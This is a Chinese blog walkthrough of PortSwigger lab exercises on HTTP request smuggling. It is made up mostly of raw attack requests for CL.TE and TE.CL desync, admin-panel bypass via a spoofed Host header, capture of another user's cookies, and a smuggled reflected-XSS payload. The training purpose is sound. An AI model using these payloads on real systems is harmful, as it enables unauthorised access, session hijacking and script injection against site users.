Burp Web Academy HTTP 请求走私

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 HTTP 请求走私(HTTP Request Smuggling)章节。

0x02. HTTP 请求走私

2.1 Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

第一次学习 HTTP 请求走私,直接看官方答案解题:尽管题目已经提示前端服务器不支持 Transfer-Encoding,但我们还是按照常规思路测试一下。发送如下 POST 请求(注意,在 Burp Repeater 中,要在 Inspector 中把 HTTP 协议设置为 HTTP/1):

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 0a9b00690310f9b180b8c6080055008f.web-security-academy.net
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked
Content-Length: 5

2
ab

注意这里的 BODY 内容为 2\r\nab5 字节数据,对 Content-Length 而言是正确的,但是对于 Transfer-Encoding 而言是错误的。因此,可以根据服务器的返回状态来判断:

  • 如果正常返回,表明是 CL-CL(发送 2\r\nab5 字节数据,和 Content-Length 匹配)
  • 如果提示超时,表明是 CL-TE,前端服务器正常转发 2\r\nab,后端服务器则没有等到 Transfer-Encoding 的结束标志 0\r\n\r\n
  • 如果请求被拒绝,那么有两种可能(在前端服务器因为 Transfer-Encoding 不正确被拦截)
    • TE-TE
    • TE-CL

测试下来,服务器返回 500 提示超时,因此是 CL-TE。

1
2
3
4
5
6
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 125

<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Communication timed out</h1></body></html>

先发送如下 POST 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0a9b00690310f9b180b8c6080055008f.web-security-academy.net
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked
Content-Length: 35

0

GET /404 HTTP/1.1
X-Ignore: X

注意 BODY 内容为 0\r\n\r\nGET /404 HTTP/1.1\r\nX-Ignore: X35 字节数据,因此前端服务器正常转发数据,而后端服务器则按照 Transfer-Encoding: chunked 来解析数据,因此 GET /404 HTTP/1.1\r\nX-Ignore: X 会被当做第二个请求的开头部分。注意,X-Ignore: X 末尾没有 \r\n,这是为了屏蔽下一个正常请求的 GET 行,以便服务器认为请求行是 GET /404 HTTP/1.1

因此,接下来发送一个正常的 GET 请求,即可触发服务器返回 404 了,请求会拼接如下:

1
2
3
GET /404 HTTP/1.1
X-Ignore: XGET / HTTP/1.1
......

2.2 Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

前面总结了一套测试方法,但是对于后端服务器使用哪个字段还无法确定,其实也是可以测试出来的:

  • Payload:CL 正确 + TE 错误
    • 正常返回,表明前端服务器、后端服务器均使用 CL
    • 返回 5XX 提示超时,表明前端服务器使用 CL,后端服务器使用 TE
    • 返回 4XX,表示请求被拒绝,表明前端服务器使用 TE,后端服务器需要进一步测试
      • Payload:TE 正确 + CL 错误
        • 正常返回,表明后端服务器使用 TE
        • 提示超时,表明后端服务器使用 CL

因此,我们可以测试出来题目中提示的 TE-CL 场景。同时,Burp Repeater 默认会自动更新 Content-Length 字段,因此在测试时需要取消该设置。

发送如下 POST 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0a1900d40490a8d68199e81100eb0020.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked
Content-Length: 4

69
POST /404 HTTP/1.1
Host: 0a1900d40490a8d68199e81100eb0020.web-security-academy.net
Content-Length: 10

0


首先,对 Transfer-Encoding: chunked 而言这个请求是合法的,因此前端服务器可以正常将请求转发给后端服务器。而对后端服务器而言,Content-Length: 4 导致第二个 POST 被当作下一个请求处理。需要注意的是,第二个 Content-Length 字段一定要设置的比实际的数据大,这样这个请求才是不完整的,需要等到用户真正发送第二个请求时,后端服务器才会在 Content-Length 指定的数据读取完毕时返回 404

2.3 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

前端服务器对 URL 有权限检查,但是不支持 TE 字段。

直接访问 /admin,会返回 403 并提示 "Path /admin is blocked"

1
2
3
4
5
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Content-Length: 24

"Path /admin is blocked"

先发送 CL-TE Payload 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0af7005b030f639390c2fe6700c7000c.web-security-academy.net
Cookie: session=QwrIqIQosCclQzinLiNFOxAc28gt0IsF
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 37

0

GET /admin HTTP/1.1
X-Ignore: X

然后发送正常的 GET / 请求,返回 401 并提示 Admin interface only available to local users。看来还要模拟成本地用户来访问,需要改进 Payload:

  • 尝试 X-Forwarded-For: 127.0.0.1,不行
  • 尝试 X-Forwarded-Host: localhost,也不行
  • 尝试 Host: localhost,可以,但是为了屏蔽后续的 Host 字段,需要改成 POST 请求发送
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0af7005b030f639390c2fe6700c7000c.web-security-academy.net
Cookie: session=QwrIqIQosCclQzinLiNFOxAc28gt0IsF
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 68

0

POST /admin HTTP/1.1
Host: localhost
Content-Length: 100

x

然后发送正常的 GET / 请求,即可看到页面的 HTML 代码:

1
2
3
4
5
6
7
8
9
10
11
<section>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
</div>
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
</section>

删除 carlos 用户只需要请求 /admin/delete?username=carlos 即可,为了方便还是发送 POST 请求,新的 Payload 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0af7005b030f639390c2fe6700c7000c.web-security-academy.net
Cookie: session=QwrIqIQosCclQzinLiNFOxAc28gt0IsF
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/apng,*/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 91

0

POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 100

x

之后发送任意一个 HTTP 请求,即可删除 carlos 用户。

2.4 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

跟前一个题目差不多,先构造如下请求访问 /admin 页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0ae600760455a684b723d9f7001b0066.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked
Content-Length: 4

3c
POST /admin HTTP/1.1
Host: localhost
Content-Length: 100

0


然后删除 carlos 用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0ae600760455a684b723d9f7001b0066.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked
Content-Length: 4

53
POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 100

0


2.5 Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

前端服务器不支持 Transfer-Encoding,且前端服务器会增加一个类似 X-Forwarded-For 的字段,用来标识 IP 地址。

访问漏洞站点,发现存在一个搜索框,尝试搜索:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/2
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Cookie: session=H31eWqFkwA6MoLOaRekw0C6uWKYS9sza
Content-Length: 46
Origin: https://0ac6000903b987158135e89500f700e6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Referer: https://0ac6000903b987158135e89500f700e6.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

可以确认会有关键字回显,POST 请求发送给 /,但是通过 search= 来指明关键字。我们可以借助这个接口来回显前端服务器增加的字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 117

0

POST / HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Content-Length: 180

search=

注意第二个 Content-Length 的大小设置,具体依赖于下一个请求的大小,只有合适的值才能既可回显字段,又不至于 Timeout。

1
2
3
4
5
GET /111 HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

之后,可以看到回显的内容(字段为 X-IUXfpE-Ip):

1
2
3
4
5
6
7
<h1>
0 search results for 'GET /111 HTTP/1.1
X-IUXfpE-Ip: 117.129.56.68
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0'
</h1>

至此,解题思路和前面的题目就差不多了。

首先,构造如下请求访问 /admin 页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 140

0

POST /admin HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
X-IUXfpE-Ip: 127.0.0.1
Content-Length: 100

X

其次,构造如下请求删除 carlos 用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 163

0

POST /admin/delete?username=carlos HTTP/1.1
Host: 0ac6000903b987158135e89500f700e6.web-security-academy.net
X-IUXfpE-Ip: 127.0.0.1
Content-Length: 100

X

2.6 Lab: Exploiting HTTP request smuggling to capture other users’ requests

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.

  • The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user’s request occurs as required.

前端服务器不支持 Transfer-Encoding,需要通过 HTTP 请求走私来存储其他用户的 HTTP 请求,以窃取其 Cookie

  • 有什么方法可以回显/存储其他用户的请求呢?初步推断是文章评论
  • 每发送一定的 POST 请求,系统会自动模拟其他用户发送 HTTP 请求

不断间歇性尝试发送如下请求,直到在评论区看到 Victim 的 Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0af90047048490b7813394e6004d00cb.web-security-academy.net
Cookie: session=wsgK9LKWMAmei3UnjbKCiPzaw3pRWODg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 339

0

POST /post/comment HTTP/1.1
Host: 0af90047048490b7813394e6004d00cb.web-security-academy.net
Cookie: session=wsgK9LKWMAmei3UnjbKCiPzaw3pRWODg
Content-Type: application/x-www-form-urlencoded
Content-Length: 950

csrf=CkkCZ9elikzeSoCntJ8wmQjLuH1Z7u74&postId=2&name=222&email=333%40gmail.com&website=https%3A%2F%2F444.com&comment=66

同样,需要注意第二个 Content-Length 的大小设置,只有合适的值才能既可回显 Cookie 字段,又不至于 Timeout。

最后发送如下 GET 请求完成解题:

1
2
3
4
5
6
GET /my-account HTTP/2
Host: 0af90047048490b7813394e6004d00cb.web-security-academy.net
Cookie: victim-fingerprint=l0gwHz0kBlw7oqkGkfT9kiOuHxJCQIGC; secret=aYjKLN7pA6WYrJ0EpkjSW5d3rbPFWCn5; session=vNO1recrYDJfn1t63H3qpnERMxzTWCzf
Referer: https://0af90047048490b7813394e6004d00cb.web-security-academy.net/post?postId=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2.7 Lab: Exploiting HTTP request smuggling to deliver reflected XSS

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).

  • The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user’s request occurs as required.

前端服务器不支持 Transfer-Encoding,且 User-Agent 存在反射性 XSS 漏洞。随便打开一篇文章,查看评论区表单属性,发现存在 userAgent 隐藏字段:

1
<input required="" type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64)">

首先,需要测试 XSS Payload,发送如下请求:

1
2
3
4
5
6
GET /post?postId=3 HTTP/2
Host: 0a25004f043a48358152f3e000e90077.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

返回的 HTML 内容如下:

1
2
3
<input required type="hidden" name="userAgent" value="">
<script>alert(1)</script>
">

成功注入了 JavaScript 代码,可以通过 Show response in browser 验证,成功弹出 JavaScript 对话框。

现在,需要通过 HTTP 请求走私漏洞,来改写下一个请求的 User-Agent 字段,发送如下 Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0a25004f043a48358152f3e000e90077.web-security-academy.net
User-Agent: Burp Suite
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Transfer-Encoding: chunked
Content-Length: 151

0

GET /post?postId=3 HTTP/1.1
Host: 0a25004f043a48358152f3e000e90077.web-security-academy.net
User-Agent: "><script>alert(1)</script>
X-Ignore: X

注意,主要直接 POST /post?postId=3,这样的请求会提示不允许,评论的请求是 POST /post/comment。不过,评论本身还有隐藏的 userAgent 表单字段,这个需要先发送 GET 请求,就稍微有点复杂了。直接尝试发送 GET 请求,发现即使可能存在两个 User-Agent 字段,但还是可以进行 XSS 弹窗。

0x03. 小结

  • HTTP Request Smuggling 只对 HTTP/1 有效,因此需要在 Burp Repeater 中设置好 HTTP 协议版本
  • Burp Repeater 默认会自动更新 Content-Length 字段,在测试 HTTP Request Smuggling 漏洞时,需要取消 CL 的自动设置
    • Content-Length 字段的值非常重要,既要能达到泄露数据的目的,又不能导致 Timeout
  • 根据服务器的返回信息来判断 HTTP Request Smuggling 漏洞类型,全部四种类型都是可以确认的
  • 基于 HTTP Request Smuggling 漏洞,可以绕过前端服务器的权限检查
    • 注意 X-Forwarded-ForX-Forwarded-Host 以及 Host
  • 基于 HTTP Request Smuggling 漏洞,走私 GET、POST 请求的方法
  • 仔细观察漏洞站点的特性,重复利用已有的功能特性来协助达成目标

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#http-request-smuggling